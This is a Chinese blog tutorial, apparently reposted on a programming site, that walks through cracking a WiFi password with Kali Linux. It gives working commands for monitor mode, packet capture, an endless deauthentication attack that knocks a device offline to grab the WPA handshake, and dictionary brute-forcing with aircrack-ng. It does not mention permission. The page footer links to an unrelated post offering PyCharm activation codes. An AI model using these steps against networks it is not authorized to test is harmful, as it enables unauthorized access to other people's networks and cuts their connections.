kali linux破解wifi密码-超详细过程

前期准备VMwareWorkstation虚拟机在虚拟机安装好kaillinunx系统无线网卡(芯片为3070或者1887L都支持Linux)一.打开终端,用airmon-ng命令查看如果出现无法访问…没有那个文件或目录解决办法:先在window主机上按win+r键然后输入services.msc回车找到VMwareUSBArbitrationService,双击…

大家好,又见面了,我是你们的朋友全栈君。

前期准备

VMware Workstation虚拟机
在虚拟机安装好kail linunx系统
无线网卡(芯片为3070或者1887L都支持Linux)

一.打开终端,用airmon-ng命令查看

如果出现无法访问…没有那个文件或目录
解决办法:先在window主机上按win+r键然后输入services.msc
回车
在这里插入图片描述

找到VMware USB Arbitration Service,双击
在这里插入图片描述
1.启动类型改为自动 …2.启动服务状态 …3.确定

二.打开虚拟机的设置,改成跟下图中2一样(如果为灰色无法更改,则需要关闭kail系统后再改)

在这里插入图片描述

将usb无线网卡插在电脑上,(注意:网卡芯片为3070或者8187L,买的时候要注意)
点击 虚拟机 -> 可移动设备 -> 选择那个有WLAN的 -> 连接
在这里插入图片描述

三.命令ifconfig查看网卡信息,有wlan0表示连接成功

在这里插入图片描述

四.命令airmon-ng start wlan0开启网卡监听模式

在这里插入图片描述

五.输入iwconfig命令查看网卡信息, wlan0mon网卡名加了mon则表示成功

在这里插入图片描述

六.命令airodump-ng wlan0mon,开始扫描WiFi,按ctrl+c结束任务

在这里插入图片描述
BSSID为wifi的MAC地址,PWR为信号强弱程度,数值越小信号越强;#DATA为数据量,越大使用的人就越多,CH为信道频率(频道),ESSID为wifi的名称,中文可能会有乱码

七,接着输入airodump-ng –bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon

如:airodump-ng –bssid BC:5F:6F:3D:03:74 -c 13 -w /home wlan0mon

在这里插入图片描述
数据包已经正在抓取
如果抓取不到数据,新建一个终端:键入airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名(一般为wlan0mon)

如:aireplay-ng -0 0 -c B8:37:65:94:5D:13 -a BC:5F:6F:3D:03:74 wlan0mon

在这里插入图片描述
(0 WiFi设备无限次数,-0 8则攻击8次。攻击原理是:先让设备掉线,设备会再自动连接,并发这个自动连接过程会进行三次握手,会发送tcp包(里面包含加密的密码数据),我方伪装成WiFi热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的WiFi密码,
数据包里面的密码是哈希加密的,哈希加密只能正向)

出现WPA handshake时,表示抓包成功

在这里插入图片描述

两个终端都按Ctrl+c停止,不然那边会一直断网的

cd打开抓包的目录,ls列出来,就看到我们抓到的数据包
在这里插入图片描述

八.解压kali自带的字典文件 路径:/usr/share/wordlists/rockyou.txt.gz

如 :gzip -d/usr/share/wordlists/rockyou.txt.gz

九.键入 aircrack-ng -w 字典路径 握手包路径,回车后开始爆破

如:aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-0.1.cap

在这里插入图片描述
耐心等待密码破解吧…

特别说明:暴力破解并不简单,需要足够强大的字典和时间,可以通过字典生成工具生成自己的字典,字典越强大越容易破解。。哈哈,也是需要点运气的!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/126596.html原文链接:https://javaforall.net

(1)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 缓冲区溢出流程

    缓冲区溢出流程缓冲区溢出流程一、ImmunityDebugger最好以管理员的身份运行Innunitydebugger通常有两种方法可以使用ImmunityDebugger来调试应用程序:确保应用

    2022年7月3日
    37
  • python字符串比较大小[通俗易懂]

    python字符串比较大小[通俗易懂]理解原理和相关知识字符串按位比较,两个字符串第一位字符的ascii码谁大,字符串就大,不再比较后面的;第一个字符相同就比第二个字符串,以此类推,需要注意的是空格的ascii码是32,空(null)的ascii码是0https://zhidao.baidu.com/question/558202137825309252.htmlord函数接受一个字符print(max([‘1’,’…

    2022年6月18日
    36
  • 大数运算(7)——大数阶乘(求阶乘)

    大数运算(7)——大数阶乘(求阶乘)对于大数来说,一个数的阶乘是非常大的,同样,一个int类型的整数,他的阶乘就有可能会很大。就拿50来说,他的阶乘位数是65位,就已经远远超过了longlongint类型的最大值。这时候,我们要通过字符串的方法,来进行阶乘的运算。当然,需要注意的是:我们所求一个数的阶乘,这个数是在int范围内的,5000的阶乘位数是16326位。其方法是:首先,我们是可以先求一定范围内的最大

    2022年10月6日
    0
  • sat错题分数换算表_acwing算法基础

    sat错题分数换算表_acwing算法基础给定 n 个还未赋值的布尔变量 x1∼xn。现在有 m 个条件,每个条件的形式为 “xi 为 0/1 或 xj 为 0/1 至少有一项成立”,例如 “x1 为 1 或 x3 为 0”、“x8 为 0 或 x4 为 0” 等。现在,请你对这 n 个布尔变量进行赋值(0 或 1),使得所有 m 个条件能够成立。输入格式第一行包含两个整数 n,m。接下来 m 行,每行包含四个整数 i,a,j,b,用来描述一个条件,表示 “xi 为 a 或 xj 为 b”。输出格式如果问题有解,则第一行输出 POSS

    2022年8月9日
    4
  • pycahrm激活码 3月最新注册码

    pycahrm激活码 3月最新注册码,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月15日
    76
  • 查看tensorflow版本信息

    查看tensorflow版本信息1.输入cmd进入控制台2.输入python3.输入importtensorflowastf和tf.__version__4.如果想要查看tensorflow所在文件夹可以用tf.__path__

    2022年6月25日
    26

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号